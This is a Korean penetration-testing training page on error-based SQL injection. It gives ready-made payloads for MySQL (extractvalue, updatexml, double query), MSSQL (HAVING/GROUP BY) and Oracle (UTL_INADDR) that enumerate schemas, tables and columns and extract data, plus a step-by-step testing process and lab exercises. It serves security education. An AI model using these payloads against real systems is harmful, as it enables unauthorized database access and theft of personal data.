펜테스트짐


훈련을 통해 당신의 실력을 향상시켜보세요.



Error 기반 SQL 인젝션

모두 35명의 회원님이 완료했어요.


 실습 환경

  실습을 하시려면 로그인이 필요합니다.


오류 기반 SQL Injection이란?


오류 기반(Error based) SQL Injection은 주로 데이터베이스에 대한 정보를 획득하기 위해 사용됩니다. SQL의 잘못된 문법이나 자료형 불일치 등에 의해 데이터베이스가 알려주는 데이터베이스 오류 메시지에 의존하여 수행되는 공격 기법입니다. 따라서 웹 애플리케이션에서 데이터베이스 오류를 표시해주는 경우에 주로 사용할 수 있습니다. 공격자는 SQL 쿼리의 잘못된 문법을 사용해 고의적으로 오류를 유발시키고 해당 오류 정보를 바탕으로 데이터베이스명, 테이블, 컬럼 정보 등의 데이터베이스 정보와 구조를 알아내어 개인 정보와 같은 민감한 데이터를 획득할 수 있습니다. 


고의적 오류 유발을 통한 데이터베이스 정보 획득 (MSSQL)



오류 기반 SQL Injection의 원리


웹 애플리케이션이 문법적으로 오류가 있는 SQL 쿼리를 데이터베이스에 요청한다면 데이터베이스는 SQL 쿼리를 실행하지 못하고 SQL 쿼리가 왜 틀렸는지 알려주는 오류를 반환해줍니다. 만일 개발자가 디버깅을 위해 이 오류를 HTTP 응답내에 출력하도록 작성해두고 이를 그대로 방치해두었다면 오류는 일반 사용자도 확인할 수 있게 됩니다. 문제는 이 오류 메시지가 필요 이상으로 자세해서 악의적인 사용자에게는 공격에 필요한 정보가 될 수 있다는 것입니다. 경우에 따라서는 오류가 웹 브라우저에는 출력되지 않더라도 HTML 소스코드의 주석에서 나타날 수도 있습니다. 따라서 테스터는 웹 브라우저 화면 외에 소스코드 등의 HTTP 응답을 면밀히 살펴봐야 합니다.

오류 기반 SQL Injection은 웹 애플리케이션에서 데이터베이스로 전달되는 SQL 쿼리의 문법적 오류를 활용하는 기법이므로 사실상 동작 원리를 설명하기에는 데이터베이스 종류에 따라 다른 문법과 다양한 SQL 구문, 함수 등으로 인해 "원리는 이렇다"라고 정리하여 설명하기에는 다소 난해한 것은 사실입니다. 한 가지 확실한 것은 오류 기반 SQL Injection은 데이터베이스로 전달되는 SQL 쿼리의 문법적 오류에 기인한다는 사실입니다. 

다음 섹션에서는 데이터베이스 종류별로 잘 알려진(어쩌면 고전적일 수 있는) 공격 기법을 소개하도록 하겠습니다.


오류 기반 SQL Injection 공격 기법


MySQL (MariaDB도 해당)

MySQL 환경에서 활용할 수 있는 기법은 XPath와 Double query 방식이 있습니다.


XPath 

XPath 방법은 extractvalue() 함수를 활용하는 기법으로 MySQL 기준 5.1 이상의 버전에서만 유효합니다. 

[Syntax]

extractvalue(xml_frag, xpath_expr)

보시는 바와 같이 extractvalue()는 XML(xml_frag 인수)과 XPath 표현식(xpath_expr 인수), 두 개의 인수가 필요하고, 두 개의 인수를 통해 XML에서 XPath 표현식에 일치하는 데이터를 추출하여 반환해줍니다. 이 함수는 xpath_expr이라는 두 번째 인수에 유효하지 않은 XPath 표현식이 사용된다면 다음과 같은 오류가 발생합니다.

ERROR 1105 (HY000): XPATH syntax error: 'xpath_expr 인수의 값' 

한 가지 재미있는 점은 xpath_expr 인수로 임의의 SQL 쿼리를 지정했을 때 이 쿼리의 실행 결과가 오류 메시지에 포함된다는 것입니다. 우리는 이 점을 이용해 오류 기반의 SQL Injection 공격을 수행할 수 있습니다. 두 번째 인수가 항상 유효하지 않은 XPath 표현식이 되도록 하기 위해 concat() 함수를 이용해 콜론(:)을 앞에 추가합니다. 0x3a는 콜론의 16진수 표기법입니다. 첫 번째 인수는 임의의 값을 지정하기 위해 rand() 함수를 사용합니다.  

그리고 마지막으로 후속 쿼리를 무효화하기 위해 가장 끝에 주석 문자(--)와 공백 문자(스페이스)를 추가합니다. 주석 문자 뒤에 공백 문자(스페이스)를 추가하는 것을 잊지마세요.

최종적으로는 아래와 같은 형태가 되겠군요. 

AND extractvalue(rand(), concat(0x3a, 실행할-SQL-쿼리))-- 

이제 위의 공격 쿼리를 원래의 SQL 쿼리에 결합하고 "실행할-SQL-쿼리" 부분만 아래의 내용을 참고해 추출하고자 하는 정보에 맞는 것으로 변경하면 됩니다.  

  • 데이터베이스 버전 추출
AND extractvalue(rand(),concat(0x3a,version()))-- 
  • 데이터베이스명 추출
AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,schema_name) FROM information_schema.schemata LIMIT 0,1)))-- 
  • 데이터베이스명 추출 (웹 애플리케이션과 통신 중인 데이터베이스) 
AND extractvalue(rand(),concat(0x3a,database()))-- 
  • 테이블명 추출 
AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,table_name) FROM information_schema.TABLES WHERE table_schema='데이터베이스명' LIMIT 0,1)))-- 
  • 컬럼명 추출
AND extractvalue(rand(),concat(0x3a,(SELECT concat(0x3a,column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='데이터베이스명' AND TABLE_NAME='테이블명' LIMIT 0,1)))-- 
  • 데이터 추출
AND extractvalue(rand(),concat(0x3a,(SELECT concat(컬럼1,0x3a,컬럼2) FROM 데이터베이스명.테이블명 LIMIT 0,1)))-- 


위의 extractvalue() 함수의 오류 메시지는 단일 행(한 줄)으로 반환되므로 LIMIT을 사용하여 한 번에 하나의 행만 출력될 수 있도록 하였습니다. 계속해서 다음 행의 데이터를 추출하기 위해서는 아래와 같이 반복하여 실행하면 됩니다.

...LIMIT 0, 1)))--      (SQL 쿼리에서 반환된 레코드셋의 첫번째 행 반환)
...LIMIT 1, 1)))--  (SQL 쿼리에서 반환된 레코드셋의 두번째 행 반환)
...LIMIT 2, 1)))--  (SQL 쿼리에서 반환된 레코드셋의 세번째 행 반환)
...LIMIT 3, 1)))--  (SQL 쿼리에서 반환된 레코드셋의 네번째 행 반환)
...생략...


위의 방식과 유사한 기법으로 updatexml() 함수를 이용할 수도 있습니다. 기본형은 아래와 같으며 추출하고자 하는 데이터에 따라 "실행할-SQL-쿼리" 부분만 위의 방식대로 변경해주면 됩니다.

AND updatexml(null, 실행할-SQL-쿼리, null)-- 


Double Query

Double Query는 GROUP BY를 통한 그룹 집계의 기준 컬럼에 rand() 함수가 사용된 경우에 발생하는 Duplicate entry 오류를 활용한 기법으로 이 오류가 발생하는 이유에 대해서는 아직 명확히 밝혀지지 않았으며 단지 MySQL의 버그로 간주되기도 합니다.  

그룹 기준 컬럼의 Duplicate entry 오류에 대해 간략히 설명드리자면 그룹별 집계를 위한 기준 컬럼이 중복될 때 발생하는 오류로 이 기준 컬럼이 테이블의 일반적인 컬럼인 경우에는 오류없이 SQL 쿼리가 잘 실행됩니다만 특이하게도 행이 3개 이상 존재하는 테이블에서 FLOOR(rand(0)*2)를 기준 컬럼으로 하는 경우에는 rand() 함수가 그룹 집계의 기준으로 사용하기에는 가변적이고 안정적이지 않아서인지 오류를 뱉어냅니다. 

SELECT FLOOR(rand(0)*2) 
FROM some-table;

이 쿼리를 행의 수가 충분히 많은 임의의 테이블에서 실행한다면 아래와 같이 테이블 행의 수만큼 0 또는 1의 값이 반환됩니다.

floor(rand(0)*2)
================

1
1 <--- Duplicate entry 오류 유발
0
1
1
0
0
1
1
1
0
1
...

이제 아래와 같이 FLOOR(rand(0)*2)를 그룹 집계의 기준 컬럼으로 설정하고 그룹별 행의 수를 집계하기 위한 count(*) 집계 함수를 사용하여 쿼리를 실행하면 MySQL의 버그로 인해 위의 세번째 행이 두번째 행과 값이 중복되므로 Duplicate entry 오류를 발생시키게 됩니다. 

SELECT FLOOR(rand(0)*2), COUNT(*) 
FROM some-table
GROUP BY FLOOR(rand(0)*2) ;

보시다시피 오류는 다음과 같습니다.

SQL Error [1062] [23000]: (conn:113718) Duplicate entry '1' for key 'group_key'


우리는 이 오류를 이용할 것입니다. 

이제 concat() 함수를 이용해 "실행할-SQL-쿼리"(데이터베이스에서 추출하고자 하는 정보의 SQL 쿼리)와 FLOOR(rand(0)*2)를 결합합니다. 그리고 이걸 x로 ALIAS(별칭)를 적용하면 쿼리는 다음과 같이 됩니다.

SELECT concat(실행할-SQL-쿼리, FLOOR(rand(0)*2))x,COUNT(*) 
FROM some-table 
GROUP BY x

앞서 살펴본 바와 같이 위의 쿼리는 Duplicate entry 오류가 발생하고 이 오류는 우리가 공격을 위해 사용한 SQL 쿼리의 결과 역시 가지고 있을 것 입니다. 이제 오류를 평가하고 결과에 나타내기 위해 아래와 같이 서브 쿼리를 이용합니다. 

SELECT 1
FROM (
SELECT concat(실행할-SQL-쿼리, FLOOR(rand(0)*2))x,COUNT(*) 
FROM some-table 
GROUP BY x
     )a
)

위에서 사용된 some-table은 3행 이상을 가진 시스템 테이블인 information_schema.TABLES로 변경하고, 역시 제일 마지막에는 주석 문자(--)와 공백 문자(스페이스)를 추가합니다. 그리고 원래의 SQL 쿼리에 주입시키기 위해 앞부분에 AND 연산사를 사용하면 최종적으로는 다음의 형태가 됩니다. 

AND (SELECT 1 FROM(SELECT COUNT(*),concat(실행할-SQL-쿼리, FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)-- 


이제 XPath 기법과 마찬가지로 아래 내용을 참고하여 "실행할-SQL-쿼리" 부분만 변경하면 원하는 정보를 추출할 수 있습니다. 마찬가지로 "실행할-SQL-쿼리" 부분의 LIMIT의 첫번째 값을 1씩 순차적으로 증가시키며 다음 행의 자료를 추출하면 됩니다. 

  • 데이터베이스 버전 추출
AND (SELECT 1 FROM (SELECT COUNT(*),concat(version(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)-- 
  • 데이터베이스명 추출
AND (SELECT 1 FROM (SELECT COUNT(*),concat((SELECT schema_name FROM information_schema.schemata LIMIT 0,1), FLOOR(rand(0)*2))a FROM information_schema.schemata GROUP BY a LIMIT 0,1)b)-- 
  • 데이터베이스명 추출 (웹 애플리케이션과 통신 중인 데이터베이스) 
AND (SELECT 1 FROM (SELECT COUNT(*),concat(database(),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)-- 
  • 테이블명 추출
AND (SELECT 1 FROM (SELECT COUNT(*),concat((SELECT TABLE_NAME FROM information_schema.TABLES WHERE table_schema='데이터베이스명' LIMIT 0,1), FLOOR(rand(0)*2))a FROM information_schema.TABLES GROUP BY a LIMIT 0,1)b)-- 
  • 컬럼명 추출
AND (SELECT 1 FROM (SELECT COUNT(*),concat((SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='데이터베이스명' AND TABLE_NAME='테이블명' LIMIT 0,1), FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)-- 
  • 데이터 추출
AND(SELECT 1 FROM(SELECT COUNT(*),concat((SELECT CONCAT_WS(0x3a,컬럼1,컬럼2,..., 컬럼N) FROM 데이터베이스명.테이블명 LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)-- 


MSSQL

Microsoft SQL 에서는 대표적으로 GROUP BY와 HAVING을 이용할 수 있습니다. GROUP BY와 HAVING에 대해 Microsoft의 공식 문서를 인용하자면 다음과 같습니다. 


  • GROUP BY
대개 각 그룹에서 하나 이상의 집계를 수행하기 위해 쿼리 결과를 행 그룹으로 분할하는 SELECT 문의 절입니다. SELECT 문은 그룹마다 하나의 행을 반환합니다.
  • HAVING
그룹 또는 집계에 대한 검색 조건을 지정합니다. HAVING은 SELECT 문하고만 사용될 수 있으며 HAVING은 일반적으로 GROUP BY 절에 사용됩니다. GROUP BY를 사용하지 않을 경우 암시적 단일 집계 그룹이 있습니다.


즉, GROUP BY를 통해 기준이 되는 컬럼을 그룹으로 묶어 그룹별 집계를 수행하고 이 때 어떤 특정한 조건을 주기 위해 HAVING을 사용할 수 있습니다. 그런데 GROUP BY와 HAVING을 사용할 경우 아래와 같이 지켜야 할 규칙이 있습니다.


규칙1.

SELECT 절에서 사용된 집계 함수를 제외한 일반 컬럼은 GROUP BY 절에 기준 컬럼으로 포함되어야 합니다.

규칙2.

HAVING은 반드시 GROUP BY와 함께 사용되어야 합니다. (SELECT 절에 집계 함수만 있는 경우 제외)


이해를 돕기 위해 다음의 예제 쿼리를 한번 살펴봅시다.

[1] SELECT staff_no, name, SUM(salary_amt)
[2] FROM salary
[3] WHERE department = '22'
[4] GROUP BY staff_no, name
[5] HAVING SUM(salary_amt) >= 10000;

위의 쿼리는 월급 테이블에서(2번 라인) 부서코드가 22인 부서에 속한(3번 라인) 직원의 사번과 이름을 기준으로(4번 라인)  월급 합계를 구하는데 월급 합계가 $10,000 이상인(5번 라인) 직원의 사번, 이름과 월급 합계를 추출(1번 라인)하는 쿼리입니다. 보시는 바와 같이 SELECT절에 사용된 일반 컬럼인 staff_no와 name 컬럼은 GROUP BY절에 포함되어 그룹별 집계를 위한 기준을 잡아주고 있으며, HAVING절은 GROUP BY와 함께 사용되어 조건을 지정해주고 있으므로 규칙에 위배되지 않은 쿼리입니다. 

아래의 두 개의 쿼리는 위의 규칙을 위배한 쿼리이며 실행 결과도 눈여겨 보시길 바랍니다.


  • 쿼리1
[1] SELECT staff_no, name, SUM(salary_amt)
[2] FROM salary
[3] WHERE department = '22'
[4] GROUP BY staff_no    <--- 규칙1 위배 (SELECT절에 사용된 name 컬럼 누락됨.)
[5] HAVING SUM(salary_amt) >= 10000; 

실행 결과
-------
Microsoft OLE DB Provider for SQL Server (0x80040E14)
'salary.name'열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.
  • 쿼리2
[1] SELECT staff_no, name, SUM(salary_amt)
[2] FROM salary
[3] WHERE department = '22'    
[4] HAVING SUM(salary_amt) >= 10000;  <--- 규칙2 위배 (GROUP BY 없이 사용됨.)

실행 결과
-------
Microsoft OLE DB Provider for SQL Server (0x80040E14)
'salary.staff_no'열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.


위의 두 개 쿼리의 실행 결과를 보시면 테이블명과 문제가 되는 컬럼명이 노출('salary.name''salary.staff_no')됩니다. 이와 같이 규칙에 위배된 경우 발생되는 오류를 이용하여 SQL Injection을 할 수 있습니다.

취약한 컬럼이 문자형인 경우에는 아래와 같은 방법으로 테이블명과 컬럼명을 추출할 수 있습니다. 취약한 컬럼이 숫자형인 경우에는 아래 구문에서 홑따옴표(')를 제거하시면 됩니다.

  • 테이블명과 첫번째 컬럼명 추출
1' HAVING 1=1--
  • 두번째 컬럼명 추출
1' GROUP BY 테이블명.첫번째-컬럼 HAVING 1=1--
  • 세번째 컬럼명 추출
1' GROUP BY 테이블명.첫번째-컬럼,테이블명.두번째-컬럼 HAVING 1=1--

    ...


위의 과정을 오류가 발생하지 않을 때가지 반복합니다. 오류가 발생하지 않는다는 것은 SELECT 절에 사용된 모든 컬럼을 알아냈다는 의미입니다.

이어서 각 컬럼의 자료형까지 알아내고 싶다면 SUM() 집계 함수를 사용할 수 있습니다. SUM() 집계 함수는 지정된 컬럼의 자료형이 숫자형이 아닌 경우 해당 컬럼의 자료형과 함께 오류를 발생시킵니다. 

1' UNION SELECT SUM(컬럼) FROM 테이블명--

또한 알아낸 테이블명과 컬럼명을 가지고 UNION 기반 SQL Injection 기법을 이용하면 데이터를 추출하는 것 또한 가능합니다.


Oracle DB

Oracle 데이터베이스 환경에서는 UTL_INADDR 패키지와 하위 프로그램인 GET_HOST_NAME 또는 GET_HOST_ADDRESS의 문법적 오류를 이용할 수 있습니다. 

UTL_INADDR 패키지의 역할은 Oracle 공식 문서에서 다음과 같이 정의되어 있습니다.


  • UTL_INADDR
UTL_INADDR 패키지는 인터넷 주소 지정을 지원하는 PL/SQL 프로시저를 제공합니다. 로컬 및 원격 호스트의 호스트 이름과 IP 주소를 조회하는 API를 제공합니다.


이 UTL_INADDR 패키지와 함께 사용할 수 있는 하위 프로그램으로 GET_HOST_NAME과 GET_HOST_ADDRESS가 있습니다. 사용법은 아래와 같습니다.

UTL_INADDR.GET_HOST_NAME       (호스트 이름 조회)
UTL_INADDR.GET_HOST_ADDRESS (호스트 IP주소 조회)


위의 두 하위 프로그램은 인수로 유효하지 않은 호스트 이름이나 IP주소를 받을 경우 오류를 반환하고 이 오류에는 유효하지 않은 지정된 인수의 값(호스트 이름 또는 IP주소)이 표시됩니다.

이를 활용하면 아래와 같은 기본 공격 구문을 만들 수 있습니다. GET_HOST_NAME 대신 GET_HOST_ADDRESS를 사용할 수도 있습니다.

1' AND SELECT UTL_INADDR.GET_HOST_NAME(실행할-SQL-쿼리) FROM dual--


다음은 위의 기본형을 활용해 데이터베이스에 관한 정보를 추출하는 쿼리입니다.

  • 데이터베이스 버전 추출
1' AND SELECT UTL_INADDR.GET_HOST_NAME((SELECT banner FROM v$version WHERE rownum=1)) FROM dual-- 
  • 테이블명 추출
1' AND SELECT UTL_INADDR.GET_HOST_NAME((SELECT table_name FROM (SELECT rownum rowidx, table_name FROM tabs) WHERE rowidx=1)) FROM dual-- 
  • 컬럼명 추출
1' AND SELECT UTL_INADDR.GET_HOST_NAME((SELECT column_name FROM (SELECT rownum rowidx, column_name FROM cols WHERE table_name = '테이블명') WHERE rowidx=1)) FROM dual-- 
  • 데이터 추출
1' AND SELECT UTL_INADDR.GET_HOST_NAME((SELECT 컬럼1 || ',' || 컬럼2 || ',' ... ',' || 컬럼N FROM (SELECT rownum rowidx, 컬럼1, 컬럼2, ..., 컬럼N FROM 테이블명) WHERE rowidx=1)) FROM dual-- 

rownum의 값을 증가시키면서 다음 행의 데이터를 추출할 수 있습니다.


지금까지 MySQL, MSSQL, Oracle 데이터베이스 각각의 환경에서 사용할 수 있는 오류 기반의 SQL Injection 기법을 알아봤습니다. 여기에서 소개된 방법 외에도 각 데이터베이스 벤더마다 다양한 기법이 있으니 별도로 학습해보시길 바랍니다.


오류 기반 SQL Injection 테스트 방법 


이 섹션에서는  MySQL 5.1 이상의 데이터베이스와 연동된 웹 애플리케이션에서 오류 기반 SQL Injection 취약점을 테스트하기 위한 일반적인 프로세스를 다룹니다. 말씀드렸다시피 데이터베이스 벤더별 테스트 기법은 다양하므로 이 섹션에서 사용된 기법 외에도 다른 기법을 활용하실 수 있습니다. 


Step 1. 데이터베이스와 통신하는 진입점(Endpoint) 식별

대상 웹 애플리케이션의 모든 기능을 사용해보고 데이터베이스와 통신하는 것으로 의심되는 모든 진입점과 매개변수를 찾아 수집합니다. 만일 웹 애플리케이션 내에 다양한 사용자 권한이나 역할이 존재하고 이에 따라 서비스가 차등적으로 제공된다면 각 권한과 역할에 대한 모든 조합별로 사용자 계정을 생성해 웹 애플리케이션을 사용해봅니다. 공격 벡터는 GET 매개변수,  POST Body 매개변수, Cookie 등의 표준 요청 헤더나 커스텀 요청 헤더가 될 수 있습니다.


Step 2. 잠재적 취약 여부 검증

Step 1에서 수집한 진입점과 매개변수가 SQL Injection에 잠재적으로 취약한지 검사할 차례입니다. 잠재적으로 취약하다는 의미는 사용자의 입력값이 SQL 쿼리로 해석되어 백엔드의 데이터베이스와 통신한다는 것을 의미합니다. 의심되는 매개변수의 값이 연결되는 데이터베이스 컬럼의 자료형이 문자열 타입인지, 숫자 타입인지에 따라 아래와 같은 방법으로 검증합니다. 


문자열 타입인 경우

매개변수의 값에 홑따옴표(')를 입력해 제출해보고 HTTP 응답 메시지를 살펴봅니다. 예를 들면 아래와 같습니다.

idx=1234'

위 요청의 응답 메시지에 데이터베이스 구문 오류 메시지가 발생한다면 SQL Injection이 가능할 수 있습니다. 

또 다른 방법으로는 문자열 연결 연산자의 기능이 정상적으로 수행되는지 확인합니다. 아래와 같이 문자열 연결 연산자를 이용해 두 개의 파트로 나뉘어진 문자열로 요청을 해보고 만일 원래의 매개변수의 값(여기서는 1234)으로 요청했을 때와 동일한 응답이 보여진다면 SQL Injection에 취약할 수 있습니다. 아래에서 %2B는 더하기(+) 기호의 URL 인코딩된 문자입니다.

idx=12' '34      (MySQL 또는 MariaDB)
idx=12'%2B'34    (MSSQL)
idx=12'||'34    (Oracle)


"AND 1=1", "AND 1=2"와 같은 논리 조건을 주입하여 SQL Injection에 취약한지 테스트할 수 있습니다. 등호(=) 기호는 URL 주초 체계에서 매개변수와 값을 구분하는 구분자로 사용되므로 주입할 논리 조건에서는 URL 인코딩 값인 %3D를 사용해야 합니다.

idx=1234%27+AND+1%3D1--+     (참이 되는 조건 주입)  
idx=1234%27+AND+1%3D2--+ (거짓이 되는 조건 주입)

첫번째 요청의 응답이 원래 요청과 동일하고, 두번째 요청에서 원래 요청과 다른 응답이 반환된다면 SQL Injection에 취약하다고 볼 수 있습니다.


숫자 타입인 경우

홑따옴표(')를 이용하여 숫자 타입을 처리하는 웹 애플리케이션의 경우에는 위의 홑따옴표를 이용한 방법이 가능하기도 하나 자료형을 엄격히 준수하여 개발된 웹 애플리케이션은 그렇지 않은 경우가 많습니다. 이런 경우에는 아래와 같은 방법으로 숫자 타입의 매개변수가 데이터베이스와 연동되는지 확인할 수 있습니다. 다음과 같은 요청이 있다고 가정합시다.

idx=4

idx 매개변수에 아래와 같이 산술 연산자를 이용한 계산식을 이용합니다. 아래의 산술식 계산 결과는 모두 4이며, 위의 원래 요청(idx=4)과 응답이 동일하다면 SQL Injection에 취약할 수 있습니다.  마찬가지로 더하기(+) 기호는 %2B를 이용합니다.

idx=5-1
idx=3+1
idx=53-ASCII(1)  ---> ASCII(1)의 값은 49로 계산 결과는 4임

마찬가지로 논리 조건을 주입하여 응답을 살펴봅니다.

idx=4+AND+1%3D1--+     (참이 되는 조건 주입)  
idx=4+AND+1%3D2--+ (거짓이 되는 조건 주입)



Step 3. 오류 기반 공격 기법이 가능한지 파악

위에서 소개된 MySQL XPath 기법을 이용해 오류가 유발되는지 확인합니다. 지정된 sqlitest는 임의로 지정한 문자열입니다.

idx=1234'+AND+extractvalue(rand(),concat(0x3a,'sqlitest'))--+

숫자 타입인 경우는 아래와 같이 idx=1234 바로 뒤의 홑따옴표(')가 없어야 합니다.

idx=1234+AND+extractvalue(rand(),concat(0x3a,'sqlitest'))--+

HTTP 응답 메시지 안에 다음과 같은 오류메시지가 표시된다면 오류 기반 SQL Injection에 취약하다고 볼 수 있습니다.

XPATH syntax error: ':sqlitest'


Step 4. 데이터 추출

오류 기반 SQL Injection 공격 기법  섹션의 XPath 부분을 참고하여 데이터베이스 버전, 테이블명, 컬럼명 등의 원하는 데이터를 획득합니다.



실습 문제 풀이


오류 기반 SQL Injection을 직접 실습하기 위한 매우 간단한 실습 문제가 제공됩니다. 본 훈련의 상단에 있는 실습 환경을 생성하여 오류 기반 SQL Injection을 직접 테스트하고 미션을 해결해보시기 바랍니다. 


Exercise 1

이 문제는 매개변수가 WHERE절에 사용된 문자열 타입의 컬럼과 연결됩니다. 


Exercise 2

이 문제는 매개변수값에 홑따옴표(')를 제출하면 데이터베이스 구문 오류 메시지를 표시하지만 문제1과 동일한 방법을 이용하면 원하는 데이터를 추출할 수 없습니다. 이 문제는 매개변수가 데이터베이스의 숫자 타입 컬럼과 연결되어있음을 유의하세요. 



참고 문헌